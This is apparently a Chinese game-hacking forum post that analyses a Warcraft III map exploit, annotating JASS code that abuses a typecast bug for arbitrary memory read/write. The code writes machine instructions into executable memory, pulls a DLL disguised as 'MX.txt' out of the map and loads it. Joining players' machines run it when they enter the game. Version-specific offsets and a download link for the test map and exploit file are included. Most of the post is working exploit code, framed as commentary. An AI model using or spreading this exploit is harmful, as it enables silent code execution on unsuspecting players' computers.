游科技-专业的PC软件安全和移动安全编程论坛

?找回密码
?qq红包挂一秒领红包软件

QQ登录

只需一步,快速开始

搜索
查看: 234|回复: 0
打印 上一主题 下一主题

[☆魔兽编程☆] 魔兽争霸3漏洞(传播+执行)

[复制链接]
排名
11
昨日变化

31

主题

41

帖子

789

游币

管理员

Rank: 9Rank: 9Rank: 9

UID
1
注册时间
2018-7-24
最后登录
2019-10-10
在线时间
127 小时

最佳新人活跃会员热心会员推广达人宣传达人灌水之王突出贡献优秀版主荣誉管理论坛元老

跳转到指定楼层
楼主
发表于 2019-8-15 10:43:45 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
map.w3x
游戏地图文件,它是一个压缩包,里面打包了很多文件
war3map.j
地图触发文件,它被压缩在地图内,比如聊天触发事件
它会被转换成字节码,由虚拟机解释执行(jass语言和jassVM)
这里用它来调用外部脚本,当事件发生时

1.地图文件-打包(漏洞利用+恶意文件)

2.创建房间-传播(玩家读图+远程下载)
3.进入游戏-中招(释放文件+加载文件)
4.查看进程


部分漏洞代码分析:
//war3map.j
function main takes nothing returns nothing
call StartMeleeAI(Player(12),"initrb")//调用外部脚本:initrb
endfunction

//initrb
function main takes nothing returns nothing
local integer gamedll
local integer i=0
local integer jassbuffer=0
? ?? ?? ?//初始化数据,根据魔兽版本,获取地址:war3.exe,Game.dll,JassVM,WinAPI,...
? ?? ?? ?//涉及的版本:1.28a,1.27b,1.27a,1.26,1.24b,1.24e
? ?? ?? ?call newInitMemoryArray()
? ?? ?? ?set MemoryAddr=GetMemoryArrayAddr()
? ?? ???call StartThread( I2C(8 + C2I(function newUnlockMemory)))
? ?? ???set i=ReadRealMemory(GetBytecodeAddress())
? ?? ???set i=i - ReadRealMemory(i)
? ?? ???if i == 2586768 then
? ?? ?? ?? ?? ? call newInit27a()
? ?? ???elseif i == 5205600 then
? ?? ?? ?? ?? ? call newInit26()
? ?? ???elseif i == 5276928 then
? ?? ?? ?? ?? ? call newInit24b()
? ?? ???elseif i == 5276840 then
? ?? ?? ?? ?? ? call newInit24e()
? ?? ???endif
//申请内存用于->写入汇编指令
set pReservedExecutableMemory2=AllocateExecutableMemory(1000)
//申请内存用于->保存字符串
set buffer[1]=AllocateExecutableMemory(100)
set buffer[2]=AllocateExecutableMemory(100)
set buffer[3]=AllocateExecutableMemory(100)
set buffer[4]=AllocateExecutableMemory(100)
//buffer[1]="MX.txt"
call WriteRealMemory(buffer[1],0x742E584D)
call WriteRealMemory(buffer[1]+4,0x00007478)
//检查模块是否加载
if GetModuleHandle(buffer[1])==0 then
? ?? ???//获取文件属性
? ?? ???if GetFileAttributes(buffer[1])!= -1 then
? ?? ?? ?? ?? ? //删除文件
? ?? ?? ?? ?? ? if DeleteFile(buffer[1])!=0 then
? ?? ?? ?? ?? ?? ?? ?? ?//从地图导出文件 导出到War3.exe目录下
? ?? ?? ?? ?? ?? ?? ?? ?call ExportFileFromMpq(buffer[1] , buffer[1])
? ?? ?? ?? ?? ? endif
? ?? ???else
? ?? ?? ?? ?? ? call ExportFileFromMpq(buffer[1] , buffer[1])
? ?? ???endif
? ?? ???//加载文件="MX.txt"(其实它是.dll)
? ?? ???call LoadLibrary(buffer[1])
endif
//buffer[2]="InitRB"
call WriteRealMemory(buffer[2] + 0 , 0x74696e49)
call WriteRealMemory(buffer[2] + 4 , 0x00004252)
//从加载的模块中获取导出函数的地址:"InitRB"
set i=GetModuleProcAddress(buffer[1] , buffer[2])
//call InitRB
call CallStdcallWith1Args(i , 0)
endfunction

//初始化获取数据-1.24e版本
function newInit24e takes nothing returns nothing
local integer base=ReadRealMemory(GetBytecodeAddress()) - 0x9631B8
? ?? ???//游戏模块地址
? ?? ???set GameDLL=base
? ?? ???set base=base / 4
? ?? ???//应该是虚拟机环境地址
? ?? ???set pJassEnvAddress=base + 0xAF16A8 / 4
? ?? ???//函数地址:获取模块句柄,申请内存,获取函数地址,从地图中释放文件
? ?? ???set pGetModuleHandle=base + 0x87F204 / 4
? ?? ???set pVirtualAlloc=base + 0x87F134 / 4
? ?? ???set pGetProcAddress=base + 0x87F2BC / 4
? ?? ???set pExportFromMpq=GameDLL + 0x7386A0
? ?? ???//
? ?? ???set pMergeUnits=GameDLL + 0x2DDE40
? ?? ???set pIgnoredUnits=GameDLL + 0x2DD9A0
? ?? ???set pConvertUnits=GameDLL + 0x2DDE00
? ?? ???//设置游戏版本
? ?? ???set GameVersion=0x24e
endfunction

//数组类型转换
//查资料得知,当局部变量和全局变量同名时,会转换成局部变量
//全局变量是整形数组,转换成了整形,这里其实是把数组地址变成了0
//Memory[addr / 4]? ?? ?假如地址为:8? ? 0(Memory)+2(8/4)*4(IntType)
//能读写指定地址内存,就是这个类型转换的为核心因素
function TypeCastMemoryArray takes nothing returns nothing
? ? local integer Memory
endfunction

//读内存
function ReadRealMemory takes integer addr returns integer
? ?? ???if addr / 4 * 4 != addr then
? ?? ?? ?? ?? ? return ReadRealMemory_FIX(addr)
? ?? ???endif
? ?? ???//内存地址是1字节为单位的,这个作者利用了4字节为单位的数组来读内存,所以代码才会那么奇怪
? ?? ???//int array Memory
? ?? ???//假设地址为:8? ?? ?? ?? ?? ?Memory[addr / 4]==Memory[2]? ???
? ?? ???//假设Memory地址为:0? ? Memory[addr / 4]==0+2*4
? ?? ???return Memory[addr / 4]
endfunction

//写内存
function WriteRealMemory takes integer addr,integer val returns nothing
? ?? ???if addr / 4 * 4 != addr then
? ?? ?? ?? ?? ? //call BJDebugMsg("WriteMemory WARNING! : " + Int2Hex(addr) )
? ?? ?? ?? ?? ? call WriteRealMemory_FIX(addr , val)
? ?? ???else
? ?? ?? ?? ?? ? //这里上面已经解释过了,作者利用这种方法来读写内存
? ?? ?? ?? ?? ? set Memory[addr / 4]=val
? ?? ???endif
endfunction

//加载动态链接库
function LoadLibrary takes integer nDllName returns integer
? ?? ???if pLoadLibraryA == 0 then
? ?? ???call WriteRealMemory(buffer[2] + 0 , 0x6e72654b)//Kernel32.dll
? ?? ???call WriteRealMemory(buffer[2] + 4 , 0x32336c65)
? ?? ???call WriteRealMemory(buffer[2] + 8 , 0x6c6c642e)
? ?? ???call WriteRealMemory(buffer[2] + 12 , 0x00000000)
? ?? ???call WriteRealMemory(buffer[3] + 0 , 0x64616f4c)//LoadLibrary
? ?? ???call WriteRealMemory(buffer[3] + 4 , 0x7262694c)
? ?? ???call WriteRealMemory(buffer[3] + 8 , 0x41797261)
? ?? ???call WriteRealMemory(buffer[3] + 12 , 0x00000000)
? ?? ?? ?? ?? ? set pLoadLibraryA=GetModuleProcAddress(buffer[2] , buffer[3])//GetModuleProcAddress(“Kernel32.dll”,"LoadLibrary")
? ?? ???endif
? ?? ???if pLoadLibraryA != 0 then
? ?? ?? ?? ?? ? return CallStdcallWith1Args(pLoadLibraryA , nDllName)//LoadLibrary(nDllName)
? ?? ???endif
? ?? ?? ?
? ?? ???return 0
endfunction

//函数调用
function CallStdcallWith1Args takes integer pFuncStdcallAddr,integer arg1 returns integer
//局部 整形??变量
local integer pOffset1
? ?? ???call WriteRealMemory(pReservedExecutableMemory2 , 0x68C98B51)? ?? ?? ?? ?? ?? ???// push ecx. mov ecx,ecx
? ?? ???call WriteRealMemory(pReservedExecutableMemory2 + 4 , arg1)? ?? ?? ?? ?? ?? ?? ?? ???// push arg1
? ?? ???call WriteRealMemory(pReservedExecutableMemory2 + 8 , 0xB990C98B)? ?? ?? ?? ? // mov ecx,ecx , nop
? ?? ???call WriteRealMemory(pReservedExecutableMemory2 + 12 , pFuncStdcallAddr)? ?// mov ecx, pFuncStdcallAddr
? ?? ???call WriteRealMemory(pReservedExecutableMemory2 + 16 , 0xC359D1FF)? ?? ?? ???// call ecx, pop ecx, ret

? ?? ???if pIgnoredUnitsOffset == 0 then
? ?? ?? ?? ?? ? set pIgnoredUnitsOffset=CreateJassNativeHook(pIgnoredUnits , pReservedExecutableMemory2)
? ?? ???else
? ?? ?? ?? ?? ? call WriteRealMemory(pIgnoredUnitsOffset , pReservedExecutableMemory2)
? ?? ???endif
? ?? ?? ?
? ?? ???set pOffset1=IgnoredUnits(0)
? ?? ???call WriteRealMemory(pIgnoredUnitsOffset , pIgnoredUnits)
? ?? ???return pOffset1
endfunction






文件:
测试地图.w3x(为了测试效果,加载模块代码我写成了聊天触发? ?进入游戏输入:-LS )
initrb(漏洞利用代码,用记事本可打开,)
链接: https://pan.baidu.com/s/1UcTdqhqHGvaLGgKNpMiYTg 密码: r2fa

作者:
DracpL1ch(俄国)? ?

涉及的版本:
1.28a,1.27b,1.27a,1.26,1.24b,1.24e

测试时间:2018.3
网易有赞助的地图基本都是利用这个漏洞代码实现收费道具功能,读取数据
非萝莉漏洞:萝莉漏洞是释放文件到开机启动,它不能读写内存,还要重启

更新时间:2018.7
有人说官方对战平台(网易)修复了,从地图作者在更新说明中,指定官方为唯一收费道具购买平台来看,某平台(和官方抢生意)应该是被和(cao)谐(fan)了
*滑动验证:

本版积分规则

?

QQ|Archiver|手机版|小黑屋|游科技论坛 ( 苏ICP备18067235号-1 )?

GMT+8, 2019-10-11 16:17 , Processed in 0.296877 second(s), 28 queries .

声明:本站严禁任何人以任何形式在本论坛发表与中华人民共和国法律相抵触的言论!

本站内容由网友原创或转载,如果侵犯了您的合法权益,请及时联系我们处理:3306309192@qq.com

快速回复 返回顶部 返回列表